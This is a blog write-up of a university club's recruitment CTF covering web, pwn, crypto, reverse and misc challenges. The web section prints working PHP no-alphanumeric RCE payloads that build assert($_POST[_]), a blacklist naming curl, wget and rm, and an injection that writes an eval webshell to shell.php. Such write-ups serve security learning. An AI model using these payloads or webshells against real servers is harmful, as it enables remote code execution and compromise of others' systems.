CPPU-ISA纳新赛
Web
EzRce
简介
无字母数字RCE,就是在不能输入字母和数字的情况下造成RCE漏洞。
无字母数字RCE的解题思路是将非字母、数字的字符经过各种变换,最后得到任意一个字符或者数字,再拼接成函数,比如assert,然后动态执行。
变换的核心在于两点:
- 利于逻辑位运算,得到字母或者数字。
- 利用自增运算得到字母或者数字:在php中,不仅数字可以自增,字母也能自增
1 |
|
(2) 源码
1 | <?php |
preg_match('/[a-z0-9]/is', $_GET['shell']) 检查 $_GET['shell'] 是否包含字母(a-z)或数字(0-9)。
i表示不区分大小写(A-Z也会被过滤)。s表示.能匹配换行符(本题无影响)。
!preg_match(...) 如果没有检测到字母或数字,就执行 eval($_GET['shell'])。
否则,直接 die('No!You can\' t do this!!!!') 终止程序。
由于assert在php5中是一个函数,但在php7不是函数(因此不能拼接调用),所以解题方法分为php5和php7两种情况。
wp
A. 异或
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
1 | <?php |
利用:拼接结果是assert($_POST[_]),所以用_作为参数传递命令即可
1 | shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]); |

这里提供两种扩展思路供参考
B. 取反
和异或的思路一致,只是把运算换成取反。这里利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,取反后得到字母。
1 | $__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]); |
将Payload进urlencode之后,作为参数值传递到服务器,就相当于获得了assert($_POST[2])
1 | <?php |
取反操作示例:
1 | $_ = 1; // 之前计算得出 |
C. 递增
不利用位运算,利用字母可以递增得到下一个字母的特点,也可以通过++来获取字母。那么如何获取第一个字母a呢?
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
1 | echo ''.[]; // Array |
再取这个字符串的第一个字母,就可以获得’A’了(因为PHP函数对大小写不敏感,所以无需获取a)。那么如何取到字符串的第一个字符(0号字符)呢?可以用false表示0,即:
1 | echo 'Array'['!'=='a']; // A |
1 | $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); |
将Payload进urlencode之后,作为参数值传递到服务器,就相当于获得了ASSERT($_POST[_])。
1 | <?php |
EzSerialize
增量逃逸:利用序列化与反序列化的属性个数检查差异实现
1 |
|
是Alice啊…..
进去要账号密码,没有直接给,所以开始找
使用dirsearch扫描发现log.php,与题目所给的php附件意义接近,考虑这里为注入点
这里的rce需要盲打
以下是原有内容(其实只有分号比较难弄)
1 | $blacklist = [';', '|', '&', '`', '$(', 'cat', 'curl', 'wget', 'ls', 'whoami', 'rm', 'cp', 'mv']; |
经过尝试可以使用下列payload(这里主要是进行分号绕过以及echo劫持将一句话木马写到shell.php)msg=%0Aecho '<?php if (eval($_POST["cmd"])) {} ?>' > shell.php%0A
使用蚁剑访问即可获得flag
Pwn
金丝雀
简单canary
1 | from pwn import * |
sevedy的奇妙绕过冒险
简单栈溢出
1 | from pwn import * |
Test your NetCat
做了一些过滤和假flag,实际上用$0就可以绕过得到flag
Crypto
Do you know lsb?
假设现在有一个oracle(预言机),它会对一个给定的密文进行解密,但并不会直接返回解密结果,而是检验解密的明文的奇偶性,并根据奇偶性返回相应的值,比如1表示奇数,0表示偶数,即最低位( LSB, least significant bit ) .
那么给定任意一个消息被加密后的密文,只需要log(N)次oracle询问,就可以解密出明文消息。(例如当N是1024位时,只需要大约1024次左右的oracle询问,就可以解密出明文。)
Oracle代码
1 | cc = int(raw_input('Your encrypted message:').strip()) |
RSA的积性(乘法同态): $$Enc(P_1 \cdot P_2) = Enc(P_1) \cdot Enc(P_2)$$证明: $$(P_1 \cdot P_2)^e = P_1^e \cdot P_2^e \pmod{n}$$ 利用这个性质,可以选择一个$s$,并计算$c’ \equiv c \cdot s^e \pmod{n}$,将$c’$发送给服务器,服务器会返回$c’$解密结果$m \cdot s$的奇偶性。通过不断巧妙地继续选取$s$,就可以恢复出$m$。
假设我们现在已经获取到了明文$m$加密所得的密文$c$。 第一次选择$s = 2$,并向服务器发送 $$c’ \equiv c \cdot 2^e \pmod{n}$$ 服务器解密得到 $$m’ \equiv 2 \cdot m \pmod{n}$$ 并会返回$2 \cdot m \pmod{n}$的奇偶性。
由于$m < n$,所以$2 \cdot m \pmod{n}$$有两种情况: - 没有被$\text{mod } n$,就是$2 \cdot m$,此时服务器会返回“偶数”。这说明 $$2 \cdot m < n \text{,即 } 0 \leq m < \frac{n}{2}$$ - 被$\text{mod } n$了,解密结果为$2 \cdot m - n$,由于$2 \cdot m$为偶数且$n$为奇数,因此服务器必然会返回“奇数”。这说明 $$2 \cdot m > n \text{,即 } \frac{n}{2} < m < n$$
!
第二次选择$s=4$,并向服务器发送 $$c’ \equiv c \cdot 4^e \pmod{n}$$ 服务器解密得到 $$m’ \equiv 4 \cdot m \pmod{n}$$ 并会返回$4 \cdot m \pmod{n}$的奇偶性。
如果$0 \leq m < \frac{n}{2}$: - 服务器返回“偶数”,说明没有被$\text{mod } n$,有$4 \cdot m < n$,也就是说 $$0 \leq m < n/$$
- 服务器返回“奇数”,说明$4 \cdot m > n$,只有 $$ \frac{n}{4} < m < \frac{n}{2} $$
如果$\frac{n}{2} \leq m < n$: - 服务器返回“偶数”,说明$4 \cdot m - 2 \cdot n < n$,即 $$0 \leq m < n/$$ - 服务器返回“奇数”,说明$4 \cdot m - 3 \cdot n < n$,即 $$\frac{3n}{4} < m < $$
通过上述方法,可以将$m$的取值范围缩小一半。 之后,仍然可以继续类似的操作,通过选取$s = 2^i$,服务器会返回$m \cdot 2^i$的奇偶性,从而可以不断地将范围缩小一半,直至最后范围缩小到1,即为正确的$m$。
解题exp:
1 | from pwn import remote |
图片修复
1 | import cv2 |
图片修复
1 | import cv2 |
Sign_in
题解:
按题目意思,去除所有0
1 | ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); |
AAencode解密:
lrgm{Ea_Rogtm_Cko_0!!!}
凯撒密码:
flag{Yu_Liang_Wei_0!!!}
Reverse
signin
die查壳
ida打开,提示是迷宫
结合while循环和mi数组推出迷宫如下
1 | s******+++ |
flag是ddddddsssaaasssddddwddssss
旋转的茂密
die查壳,发现是upx
工具脱壳失败,被魔改了
010打开发现标志位被更改了,改正后脱壳成功

ida打开
cmp函数中有字符串p11r1p11r1
再根据main函数中代码可得flag为o11a1o11a1
rrrcc4
die查壳
ida打开
发现是标准rc4加密,s盒初始化和加密部分没有魔改

在最后有一个异或,得到的结果不是标准的rc4加密结果
写一个解密脚本得到flag是rc4_1s_amazing
1 |
|

假真反转:虚实谜镜
这道题是一个smc tls aes魔改 xtea魔改的大杂烩,考察选手的综合分析
我们分析程序

main函数有个很明显的花指令
把这一段全nop了,再按u 再p就能修好了


详细算法如下,因为是fake部分,所以不详细展开
1 |
|
其实我们动态调试就不难发现,他这个是tls改变了执行流程


这个pfun其实是对s盒前半部分进行了修改
但是其实静态发现什么都没有

因为这里是smc对程序的动态加载
其实就是实现了一个for +i的循环完成对aes表的魔改


完成了一个aes原S盒的修改

伪代码如下
1 | unsigned char S[256] = { |
执行完后下去找S盒

逆一下S盒
1 | new_s_box = [ |
key和密文

S盒提取

exp如下
1 |
|
Misc
Welcome to the world of CTF !
是个汉信码
可以用在线服务解码
解码结果是纳新公众号,拉到底可以看到flag
deep_think
结合题目名称与wav文件格式,尝试deepsound隐写

发现需要密钥,根据deepsound隐写特性可知一定是deepsound
隐写,寻找密钥。
010editor打开后在文件尾发现可疑16进制编码

cyberchef解密

得到密钥just_hear_the_DeepSound!
得到一个摩斯密码音频,找网站解密https://morsecodemagic.com/zh/
选择上方音频解码器

这里有个小坑,把解码后结果小写才是flag压缩包密钥


BASIC
根据题目描述,可以知道是png的最低位隐写
使用stegsolve

需要注意,flag信息隐藏在图片开头的rgb值中,选择对应通道之后点击preview需要上拉
像素星图的共振频率
附件voice是sstv,可以通过windows的rx-sstv虚拟声卡播放获得界面
这里介绍另一种linux音频导入方法
下载QSSTV
下好后把音频转成wav格式,直接导入会出现下图信息
QSSTV的github里有写解决方案
1 | When using a file source for decoding, for some valid files QSSTV will fail with the error message "Invalid Header Format". This appears to be due to the decoder requiring that the first two chunks of the RIFF file are fmt and data. However, programs that create WAV files will often have chunks like INFO and auxi before the data chunk. |
下载sox转wav后即可显示内容
this_is_a_very_long_phrase_that_hopefully_is_not_in_any_dictionary
这里引用的是我的世界20w14∞版本的加密内容,详细可戳20w14infinite - 中文 Minecraft Wiki
压缩包末尾藏了东西
发现是base85,转换后出现明文提示
搜索后可以发现github仓库,进而发现这个光棱坦克工厂
图片放进去可以直接解密
Crossfire
拖入010editor中,发现明显的png文件格式IHDR,缺少文件头尾,手动补上。

补上文件头尾之后修改后缀名为.png
发现图片中枪械之后一半,可以确定图片高度被调整过

three-body
根据题目描述,可知第一层压缩包的密码为三位数字,使用archpr破解


解压后是一张png图片,像素异常为160000*1
结合题目描述与常识可以推测,这里是把一张图片的像素依次排列成一条线,这就是描述中三体人的武器,把二维平面转化为一条线。。结合背景中秘籍是正方形的信息,可以知道原始图片宽高为400*400,写脚本转化。
1 | from PIL import Image |

还原后得到一张二维码,扫码获得flag

别黑我
打开就可以解压(无毒请放心),其中有pyarmor和密文
使用该工具进行pyarmor逆向
https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot/releases
发现虽然没解开但是有secret内容
base32解密后可以看出逻辑
结合上面的mapping和spore可以组合出完整加密代码,进而推出解密代码
1 | def mushroom_spore_decode(encoded): |

计算机网络
题目提示用Cisco Packet Tracer打开附件
打开后发现放了很多杂乱的东西
题目又提示打开记得虚拟电脑(PC),于是打开PC里的文本编辑器或者tftp server
发现有密文
随波逐流解密即可
问卷题?
爆搜就可以搜出来
问卷虽然无法填写但是返回路由中仍然返回了提示语,可以得到flag
- 标题: CPPU-ISA纳新赛
- 作者: ljnljn
- 创建于 : 2025-12-11 20:51:00
- 更新于 : 2026-05-25 22:04:46
- 链接: https://ljnljn2005.github.io/2025/12/11/CPPU-ISA纳新赛/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
